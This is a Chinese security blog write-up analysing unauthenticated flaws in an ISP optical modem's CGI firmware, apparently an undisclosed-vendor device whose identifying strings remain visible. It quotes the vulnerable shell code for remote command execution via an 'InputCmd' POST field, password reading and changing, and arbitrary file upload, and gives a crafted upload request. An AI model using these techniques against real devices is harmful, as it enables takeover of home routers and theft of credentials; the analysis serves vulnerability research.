前言

由于漏洞并未公布在互联网上,所以具体是哪个厂家的光猫就不说明了,文中是可以找到的,并未打码,感兴趣的朋友可以自己找找看。

拿到光猫固件,大概看了下,用的是CGI+SH的编程方式,并且源代码都没有做权限的验证,相关代码也没有加密,所以分析也就简单了许多。

下面我们来看下漏洞详情

远程命令执行

漏洞在文件telnet.cgi文件中,首先文件判断是否为POST发包,如果是就进行处理

if [ "$REQUEST_METHOD" == "POST" ];then
   settelnet
else
   gettelnet
fi

我们跟进settelnet这个函数,进入函数后,看到函数调用了getpostdata.cgi这个文件对post包进行接收并赋值给QUERY_STRING变量,最终经过处理赋值给变量CGIParam.

settelnet()
{
    QUERY_STRING=`./getpostdata.cgi $CONTENT_LENGTH`
    [ "x$QUERY_STRING" == "x" ] && READERR=1
    [ "x$QUERY_STRING" != "x" ] && QUERY_STRING=`./urldecode.cgi $QUERY_STRING`

paramIndex="1"
CGIParam=`echo "$QUERY_STRING&" | cut -d '&' -f $paramIndex`

我们看看变量CGIParam被怎么处理,这里用了一个while判断变量$CGIParam是否有值,随后带入处理,可以看到这里把InputCmd的值给取出来,也就是执行的系统命令赋值给了INPUTCMD,我们往下看

while [ "$CGIParam" != "" ]
    do
    par=`echo "$CGIParam" | cut -d '=' -f 1`
    val=`echo "$CGIParam" | cut -d '=' -f 2`
    if [ "$val" != "" ]; then
        case $par
            in
            "InputCmd")
            INPUTCMD=$val
            INPUTCMD=`echo "$INPUTCMD" | sed 's/%23/ /g'`
            ;;
        esac
    fi
    paramIndex=$((paramIndex+1))
    CGIParam=`echo "$QUERY_STRING&" | cut -d '&' -f $paramIndex`
    is_submit="1"
done

这里把INPUTCMD的值写入到telnet_input.sh文件里面,随后对telnet_input.sh文件进行执行,执行结果输出到telnet_output.log文件中

if [ "$is_submit" == "1" ]; then
    rm /var/WEB-GUI/telnet_* >/dev/null 2>&1
    echo "${INPUTCMD}" >/var/WEB-GUI/telnet_input.log
    echo "${INPUTCMD}" >/var/WEB-GUI/telnet_input.sh
    chmod +x /var/WEB-GUI/telnet_input.sh
    cd /var/WEB-GUI/
    ./telnet_input.sh >/var/WEB-GUI/telnet_output.log 2>&1
fi

由于执行后是没有回显的,所以在本地搭建个监听端来监听连接

后来在submit.cgi文件里发现,请求这个文件就能读取执行后的结果,所以要看到回显需要执行提交两次

#!/bin/sh
echo Content-type: text/html
echo

echo "<html><head></head><body>"
echo "</body></html>"

     echo "
    <textarea rows='50' cols='160' name='text'>"
    while read line; do
        echo "${line}"
    done < /var/WEB-GUI/telnet_input.log    

    while read line; do
        echo "${line}"
    done < /var/WEB-GUI/telnet_input.sh  

    while read line; do
        echo "${line}"
    done < /var/WEB-GUI/telnet_output.log

修改用户密码

漏洞在文件password_CM.cgi文件中,首先文件判断是否为POST发包,如果是就进行处理

if [ "$REQUEST_METHOD" == "POST" ];then
        setpassword
    fi

    getpassword

我们跟进setpassword函数,函数调用getpostdata.cgi文件对post进行接收,包赋值给LINE变量,处理后赋值给CGIParam变量

setpassword()
    {
        LINE=`./getpostdata.cgi $CONTENT_LENGTH`
        [ "x$LINE" == "x" ] && READERR=1
        [ "x$LINE" != "x" ] && LINE=`./urldecode.cgi $LINE`

        paramIndex="1"
        CGIParam=`echo "$LINE&" | cut -d '&' -f $paramIndex`

这里还是是一个while来判断,一样是取出值然后进行处理,不过这里只能改密码,帐号是不能改的,代码被注释掉了。最后进行密码设置

while [ "$CGIParam" != "" ]
        do
          par=`echo "$CGIParam" | cut -d '=' -f 1`
          val=`echo "$CGIParam" | cut -d '=' -f 2`
          if [ "$val" != "" ]; then
            case $par
                in
    #           "password_username")
    #           USERNAME=$val
    #           ;;
                "password_pass")
                PASSWORD=$val
                PASSWORD=`echo "$PASSWORD" | sed 's/123fiberhome321/\&/g'`
                PASSWORD=`echo "$PASSWORD" | sed 's/321telecomadmin123/\!/g'`
                ;;
            esac
          fi
          paramIndex=$((paramIndex+1))
          CGIParam=`echo "$LINE&" | cut -d '&' -f $paramIndex`
        done

        RETURN_STR=`$INTER_WEB set $CMIGD_DI_XFIBCOMUA_Password "$PASSWORD"`

    }

执行完后获取帐号密码,当然了,直接访问此页面也是可以获取帐号密码的

getpassword()
    {
        USERNAME=`$INTER_WEB get $CMIGD_DI_XFIBCOMUA_UserName | cut -d '&' -f 1`
        PASSWORD=`$INTER_WEB get $CMIGD_DI_XFIBCOMUA_Password | sed 's/&$//'`

        echo "
        {\"RETURN\":
          {\"success\": true},
         \"PASSWORD\":
          {\"password_username\":\"$USERNAME\",
           \"password_DLUSERNAME\":\"$DLUSERNAME\",
           \"password_area\":\"$area\",
           \"password_pass\":\"$PASSWORD\"}
        }"
    }

执行结果

任意文件上传

漏洞文件在loadfile.cgi文件中,我们看到上传文件的地方

<form method=\"post\" action=\"../cgi-bin/uploadfile.htm.cgi\" enctype=\"multipart/form-data\" onsubmit=\"return JudgeKeywordImage(this);\">
        <label class='trad' key='paneltip_choose'></label>   
        <input size=50 name=\"uploadfile\" type=\"file\" ${UPLOAD}/>
        <br><br>
        <label class='trad' key='paneltip_path'></label>           
        <span><input type='input' name=\"uploadpath\" value=\"/var/\" style=\"width:300px\"></span>
        <br><br>
        <input name=\"submit\" type=\"submit\" value=\"上传\" style=\"height:23px\" ${UPLOAD}/>
        </form>
        </blockquote>
   </body>
</html>"

这里的数据包发送到uploadfile.htm.cgi文件,我们跟进,这里执行了uploadcgi.cgi这个cgi文件,这个文件是用来处理上传文件数据包的,这个文件是编译好了的ELF文件,我们逆向看看。

./uploadcgi.cgi
UPPATH=$GETCFG ${BROANCONF} upload
if [ -f /var/Image ]; then
    mv /var/Image $UPPATH >/dev/null 2>&1
fi 
if [ -f $UPPATH ]; then
    success=1
else
    success=0
fi

找到入口点,这里首先判断了是否是POST过来的数据包,如果不是就进入函数loc_400A34 中, 返回没有找到方法,继而退出,上传失败。如果是就进入数据包的处理loc_400A74这个函数里面

loc_400A74函数主要对CONTENT_TYPE进行判断,比较CONTENT_TYPE是否是multipart/form-data类型,随后就是各个函数又进行了一系列的判断,文件主要判断了[Content-Type, REQUEST_METHOD ,CONTENT_LENGTH ,UPLOADPATH]

分析过程中发现程序并没有对文件类型做任何的限制,uploadcgi.cgi只是判断是否为POST包而已,判断了一些header类型,所以我们可以把任何文件上传到任何目录,结合正常发包的数据包进行构造数据包,构造的数据包如下

POST /cgi-bin/uploadfile.htm.cgi HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://10.214.99.131/index_main_CM
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Host: 10.214.99.131
Pragma: no-cache
Connection: close

Content-Disposition: form-data; name="uploadfile"; filename="test.html"
Content-Type: text/html
HGU TEST
Content-Disposition: form-data; name="uploadpath"
/var/WEB-GUI/
Content-Disposition: form-data; name="submit"
submit

上传结果

源链接

Hacking more

...